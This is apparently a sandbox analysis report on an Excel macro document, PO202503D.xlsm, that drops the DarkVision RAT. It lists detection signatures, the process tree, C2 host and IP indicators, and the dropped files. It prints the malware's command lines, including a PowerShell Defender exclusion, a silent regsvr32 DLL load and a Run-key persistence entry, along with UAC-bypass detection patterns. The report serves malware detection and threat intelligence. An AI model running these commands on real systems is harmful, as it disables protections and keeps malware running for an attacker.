Edit tour

Windows Analysis Report
PO202503D.xlsm

Overview

General Information

Sample name:	PO202503D.xlsm
Analysis ID:	1635002
MD5:	7928d4da38767e17b693dc1c3b12376b
SHA1:	b357c6211bbf9b463553d5137aac957fbd9b0868
SHA256:	525dca66603ba93785836da140e8bf75d86a71ce828d30797171a3989e1dee51
Tags:	xlsmuser-cocaman
Infos:

Detection

DarkVision Rat

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Suricata IDS alerts for network traffic

Yara detected DarkVision Rat

Yara detected UAC Bypass using CMSTP

AI detected landing page (webpage, office document or email)

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Document contains an embedded VBA with many string operations indicating source code obfuscation

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Modifies the context of a thread in another process (thread injection)

Office process queries suspicious COM object (likely to drop second stage)

Sigma detected: Legitimate Application Dropped Archive

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Uses dynamic DNS services

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Document misses a certain OLE stream usually present in this Microsoft Office document type

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Excel Network Connections

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Office Outbound Connections

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 7512 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

7z.exe (PID: 2028 cmdline: "C:\Program Files\7-Zip\7z.exe" x -p123456 -y -o"C:\Users\user\AppData\Local\Temp\invoice_temp\" "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.zip" MD5: 9A1DD1D96481D61934DCC2D568971D06)

conhost.exe (PID: 2672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 2524 cmdline: "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

PO202502DAKE.exe (PID: 7440 cmdline: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe" MD5: FD3C8166E7FBBB64D12C1170B8F4BACF)

conhost.exe (PID: 1304 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5680 cmdline: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 4068 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

aspnet_wp.exe (PID: 7640 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

cmd.exe (PID: 8344 cmdline: "C:\Windows\system32\cmd.exe" /C start "" /D "C:\Users\user\SystemRootDoc" "C:\Users\user\SystemRootDoc\PO202502DAKE.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PO202502DAKE.exe (PID: 8408 cmdline: "C:\Users\user\SystemRootDoc\PO202502DAKE.exe" MD5: FD3C8166E7FBBB64D12C1170B8F4BACF)

conhost.exe (PID: 8416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_wp.exe (PID: 8476 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

cmd.exe (PID: 8528 cmdline: "C:\Windows\system32\cmd.exe" /C start "" /D "C:\Users\user\SystemRootDoc" "C:\Users\user\SystemRootDoc\PO202502DAKE.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PO202502DAKE.exe (PID: 8572 cmdline: "C:\Users\user\SystemRootDoc\PO202502DAKE.exe" MD5: FD3C8166E7FBBB64D12C1170B8F4BACF)

conhost.exe (PID: 8588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_wp.exe (PID: 8636 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe" MD5: 10072393B2116AF4483194F101923CA4)

cleanup

Malware Configuration

Threatname: DarkVision Rat

{"C2": "myasyncrat.ddns.net", "Port": 3369}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\SystemRootDoc\nasrallah_x86.dll	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
C:\Users\user\SystemRootDoc\nasrallah_x86.dll	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
C:\Users\user\AppData\Local\Temp\invoice_temp\nasrallah_x86.dll	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
C:\Users\user\AppData\Local\Temp\invoice_temp\nasrallah_x86.dll	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
0000000C.00000002.1316214716.00000273D3000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000C.00000002.1316214716.00000273D3000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.1537027703.0000021BC506A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000021.00000002.1537027703.0000021BC506A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001C.00000002.1452878031.000001FF21000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001C.00000002.1452878031.000001FF21000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
0000000C.00000002.1315965400.000002333C86A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000C.00000002.1315965400.000002333C86A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.1537278105.0000025C5A000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000021.00000002.1537278105.0000025C5A000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.1537027703.0000021BC5000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000021.00000002.1537027703.0000021BC5000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001C.00000002.1452878031.000001FF2106A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001C.00000002.1452878031.000001FF2106A000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000C.00000002.1315965400.000002333C800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000000C.00000002.1315965400.000002333C800000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
0000001C.00000002.1453587554.0000023FB6000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001C.00000002.1453587554.0000023FB6000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 7440	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 7440	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: aspnet_wp.exe PID: 7640	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: aspnet_wp.exe PID: 7640	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 8408	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 8408	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: aspnet_wp.exe PID: 8476	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: aspnet_wp.exe PID: 8476	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 8572	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: PO202502DAKE.exe PID: 8572	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: aspnet_wp.exe PID: 8636	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: aspnet_wp.exe PID: 8636	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.PO202502DAKE.exe.21bc50716a0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
16.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
16.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.aspnet_wp.exe.140000000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.PO202502DAKE.exe.1ff210716a0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
12.2.PO202502DAKE.exe.2333c8716a0.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.PO202502DAKE.exe.2333c8716a0.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.PO202502DAKE.exe.2333c8716a0.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x37b48:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x37a78:$s1: CoGetObject 0x37b10:$s2: Elevation:Administrator!new:
12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
12.2.PO202502DAKE.exe.2333c8716a0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
35.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
35.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
35.2.aspnet_wp.exe.140000000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
35.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
35.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
35.2.aspnet_wp.exe.140000000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
33.2.PO202502DAKE.exe.21bc50716a0.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
33.2.PO202502DAKE.exe.21bc50716a0.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.PO202502DAKE.exe.21bc50716a0.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x37b48:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x37a78:$s1: CoGetObject 0x37b10:$s2: Elevation:Administrator!new:
30.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
30.2.aspnet_wp.exe.140000000.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
30.2.aspnet_wp.exe.140000000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x39748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x39678:$s1: CoGetObject 0x39710:$s2: Elevation:Administrator!new:
30.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
30.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
30.2.aspnet_wp.exe.140000000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
28.2.PO202502DAKE.exe.1ff210716a0.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
28.2.PO202502DAKE.exe.1ff210716a0.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.PO202502DAKE.exe.1ff210716a0.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x37b48:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x37a78:$s1: CoGetObject 0x37b10:$s2: Elevation:Administrator!new:
16.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
16.2.aspnet_wp.exe.140000000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.aspnet_wp.exe.140000000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x38748:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x38678:$s1: CoGetObject 0x38710:$s2: Elevation:Administrator!new:
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Legitimate Application Dropped Archive

Source: File created

Author: frack113, Florian Roth: Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ProcessId: 7512, TargetFilename: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.zip

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe", ParentImage: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, ParentProcessId: 7440, ParentProcessName: PO202502DAKE.exe, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", ProcessId: 5680, ProcessName: powershell.exe

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Source: Process started

Author: Jason Lynch: Data: Command: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe", CommandLine: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7512, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe", ProcessId: 7440, ProcessName: PO202502DAKE.exe

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll", CommandLine: "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ParentProcessId: 7512, ParentProcessName: EXCEL.EXE, ProcessCommandLine: "regsvr32.exe" /s "C:\Users\user\AppData\Local\Temp\invoice_temp\vcruntime210.dll", ProcessId: 2524, ProcessName: regsvr32.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: cmd.exe /C start "" /D "C:\Users\user\SystemRootDoc" "C:\Users\user\SystemRootDoc\PO202502DAKE.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, ProcessId: 7440, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PO202502DAKE

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 149.137.128.16, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7512, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49722, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7512, Protocol: tcp, SourceIp: 149.137.128.16, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", CommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe", ParentImage: C:\Users\user\AppData\Local\Temp\invoice_temp\PO202502DAKE.exe, ParentProcessId: 7440, ParentProcessName: PO202502DAKE.exe, ProcessCommandLine: "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\SystemRootDoc' -Force", ProcessId: 5680, ProcessName: powershell.exe

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, ProcessId: 7512, TargetFilename: C:\Users\user\Desktop\~$PO202503D.xlsm

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:14:04.982077+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	13.107.246.60	443	TCP
2025-03-11T09:14:11.705861+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	13.107.246.60	443	TCP
2025-03-11T09:14:11.738304+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	13.107.246.60	443	TCP

ET MALWARE Win32/DarkVision RAT CnC Checkin M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T09:13:13.157509+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49730	84.38.129.34	3369	TCP
2025-03-11T09:13:14.685727+0100	2045618	1	A Network Trojan was detected	192.168.2.4	49731	84.38.129.34	3369	TCP
